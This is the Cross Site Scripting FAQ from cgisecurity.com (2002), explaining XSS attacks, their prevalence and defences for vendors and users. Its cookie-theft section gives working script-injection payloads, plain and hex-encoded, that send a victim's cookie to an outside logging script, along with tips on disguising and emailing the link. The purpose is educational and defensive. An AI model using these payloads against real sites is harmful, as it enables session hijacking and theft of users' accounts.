Often attackers will inject JavaScript, VBScript, ActiveX, HTML, or
Flash to fool a user (Read below for further details), or gather data from them.
Everything from account hijacking, changing of user settings, cookie theft/poisoning,
or false advertising is possible. New malicious uses are being found every day
for XSS attacks. The post below by Brett Moore brings up a good point with regard
to \"Denial Of Service\", and potential \"auto-attacking\" of hosts if a user simply
reads a post on a message board. http://archives.neohapsis.com/archives/vuln-dev/2002-q1/0311.html
\"What are some examples of cross site scripting attacks?\"
One product with many XSS holes is the popular PHP program PHPnuke. This
product is often targeted by attackers to probe for XSS holes because of its
popularity. I have included a few links of advisories/reports that have been
discovered and disclosed just from this product alone. The following collection
should provide plenty of examples.
http://www.cgisecurity.com/archive/php/phpNuke_cross_site_scripting.txt
http://www.cgisecurity.com/archive/php/phpNuke_CSS_5_holes.txt
http://www.cgisecurity.com/archive/php/phpNuke_2_more_CSS_holes.txt
\"Can you show me what XSS cookie theft looks like?\"
Depending on the particular web application some of the variables and positioning
of the injections may need to be adjusted. Keep in mind the following is a
simple example of an attacker's methodology.
Step 1: Targeting
After you have found an XSS hole in a web application on a website, check
to see if it issues cookies. If any part of the website uses cookies, then
it is possible to steal them from its users.
Step 2: Testing
Since XSS holes are different in how they are exploited, some testing will
need to be done in order to make the output believable. By inserting code
into the script, its output will be changed and the page may appear broken.
(The end result is crucial and the attacker will have to do some touching
up in the code to make the page appear normal.) Next you will need to insert
some Javascript (or other client side scripting language) into the URL pointing
to the part of the site which is vulnerable. Below I have provided a few links
that are for public use when testing for XSS holes. These links below, when
clicked on will send the users cookie to www.cgisecurity.com/cgi-bin/cookie.cgi
and will display it. If you see a page displaying a cookie then session hijacking
of the user's account may be possible.
Cookie theft Javascript Examples.
A example of usage is below.
ASCII Usage:
http://host/a.php?variable=\"><script>document.location='http://www.cgisecurity.com/cgi-bin/cookie.cgi?
'%20+document.cookie</script>
Hex Usage:
http://host/a.php?variable=%22%3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f
%63%61%74%69%6f%6e%3d%27%68%74%74%70%3a%2f%2f%77%77%77%2e%63%67%69%73%65%63%75%72%69%74%79
%2e%63%6f%6d%2f%63%67%69%2d%62%69%6e%2f%63%6f%6f%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63%
75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c%2f%73%63%72%69%70%74%3e
NOTE: The request is first shown in ASCII, then in Hex for copy and paste
purposes.
1. \"><script>document.location='http://www.cgisecurity.com/cgi-bin/cookie.cgi?'
+document.cookie</script> HEX %22%3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f%63%61%74%69%6f%6e%3d%27
%68%74%74%70%3a%2f%2f%77%77%77%2e%63%67%69%73%65%63%75%72%69%74%79%2e%63%6f%6d%2f%63%67%69
%2d%62%69%6e%2f%63%6f%6f%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f
%6f%6b%69%65%3c%2f%73%63%72%69%70%74%3e
2. <script>document.location='http://www.cgisecurity.com/cgi-bin/cookie.cgi?'
+document.cookie</script> HEX %3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f%63%61%74%69%6f%6e%3d%27%68%74%74
%70%3a%2f%2f%77%77%77%2e%63%67%69%73%65%63%75%72%69%74%79%2e%63%6f%6d%2f%63%67%69%2d%62%69%6e
%2f%63%6f%6f%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c
%2f%73%63%72%69%70%74%3e
3. ><script>document.location='http://www.cgisecurity.com/cgi-bin/cookie.cgi?'
+document.cookie</script> HEX %3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f%63%61%74%69%6f%6e%3d%27%68%74
%74%70%3a%2f%2f%77%77%77%2e%63%67%69%73%65%63%75%72%69%74%79%2e%63%6f%6d%2f%63%67%69%2d%62%69
%6e%2f%63%6f%6f%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65
%3c%2f%73%63%72%69%70%74%3e
These are the examples of \"evil\" Javascript we will be using. These Javascript
examples gather the users cookie and then send a request to the cgisecurity.com
website with the cookie in the query. My script on cgisecurity.com logs each
request and each cookie. In simple terms it is doing the following:
My cookie = user=zeno; id=021
My script = www.cgisecurity.com/cgi-bin/cookie.cgi
It sends a request to my site that looks like this.
GET /cgi-bin/cookie.cgi?user=zeno;%20id=021 (Note: %20 is a hex encoding for
a space)
This is a primitive but effective way of grabbing a user's cookie. Logs
of the use of this public script can be found at www.cgisecurity.com/articles/cookie-theft.log
Step 3: XSS Execution
Hand out your crafted url or use email or other related software to help
launch it. Make sure that if you provide the URL to the user(through email,
aim, or other means) that you at least HEX encode it. The code is obviously
suspicious looking but a bunch of hex characters may fool a few people.
In my example I only forward the user to cookie.cgi. A attacker with more
time could do a few redirects and XSS combo's to steal the user's cookie,
and return them to the website without noticing the cookie theft.
Some email programs may execute the Javascript upon the opening of a message
or if the Javascript is contained in a message attachment. Larger sites like
Hotmail do allow Javascript inside attachments but they do special filtering
to prevent cookie theft.
Step 4: What to do with this data
Once you have gotten the user to execute the XSS hole, the data is collected
and sent to your CGI script. Now that you have the cookie you can use a tool
like Websleuth to see if account hijacking is possible.
This is only a FAQ, not a detailed paper on cookie theft and modification.
A new paper released by David Endler of iDefense goes into more detail on
some of the ways to automatically launch XSS holes. This paper can be found
at http://www.idefense.com/XSS.html.
\"What can I do to protect myself as a vendor?\"
This is a simple answer. Never trust user input and always filter metacharacters.
This will eliminate the majority of XSS attacks. Converting < and > to <
and > is also suggested when it comes to script
output. Remember XSS holes can be damaging and costly to your business if
abused. Often attackers will disclose these holes to the public, which can
erode customer and public confidence in the security and privacy of your organization's
site. Filtering < and > alone will not solve all cross site scripting attacks
and it is suggested you also attempt to filter out ( and ) by translating
them to ( and ), and also # and
& by translating them to # (#) and &
(&).
\"What can I do to protect myself as a user?\"
The easiest way to protect yourself as a user is to only follow links from
the main website you wish to view. If you visit one website and it links to
CNN for example, instead of clicking on it visit CNN's main site and use its
search engine to find the content. This will probably eliminate ninety percent
of the problem. Sometimes XSS can be executed automatically when you open
an email or attachment. If you are receiving email from a person you don't
know (or don't like) don't trust anything it has to say. Another way to protect
yourself is to turn off Javascript in your browser settings. In IE turn your
security settings to high. This can prevent cookie theft, and in general is
a safer thing to do.
\"How common are XSS holes?\"
Cross site scripting holes are gaining popularity among hackers as easy
holes to find in large websites. Websites from FBI.gov, CNN.com, Time.com,
Ebay, Yahoo, Apple computer, Microsoft, Zdnet, Wired, and Newsbytes have all
had one form or another of XSS bugs.
Every month roughly 10-25 XSS holes are found in commercial products and
advisories are published explaining the threat.
\"Does encryption protect me?\"
Websites that use SSL (https) are in no way more protected than websites
that are not encrypted. The web applications work the same way as before,
except the attack is taking place in an encrypted connection. People often
think that because they see the lock on their browser it means everything
is secure. This just isn't the case.
\"Can XSS holes allow command execution?\"
XSS holes can allow Javascript insertion, which may allow for limited execution.
If an attacker were to exploit a browser flaw (browser hole) it could then
be possible to execute commands on the client's side. If command execution
were possible it would only be possible on the client side. In simple terms
XSS holes can be used to help exploit other holes that may exist in your browser.
\"What if I don't feel like fixing a CSS/XSS Hole?\"
By not fixing an XSS hole this could allow possible user account compromise
in portions of your site as they get added or updated. Cross Site Scripting
has been found in various large sites recently and have been widely publicized.
Left unrepaired, someone may discover it and publish a warning about your
company. This may damage your company's reputation, depicting it as being
lax on security matters. This of course also sends the message to your clients
that you aren't dealing with every problem that arises, which turns into a
trust issue. If your client doesn't trust you why would they wish to do business
with you?
\"What are some links I can visit to help me further understand XSS?\"
\"Cross-site
scripting tears holes in Net security\"
Article on XSS holes
\"CERT Advisory CA-2000-02
Malicious HTML Tags Embedded in Client Web Requests\"
Paper on Removing
Meta-characters from User Supplied Data in CGI Scripts.
Paper on Microsoft's
Passport System
Paper
on Cookie Theft
The webappsec mailing list (Visit www.securityfocus for details)
webappsec@securityfocus.com
Many Thanks to David Endler for reviewing this document.
Published to the Public May 2002
Copyright May 2002 Cgisecurity.com
Info-x : Info-x Tutorials and Documents : FAQs
Topic: The Cross Site Scripting FAQ
Topic: The Cross Site Scripting FAQ
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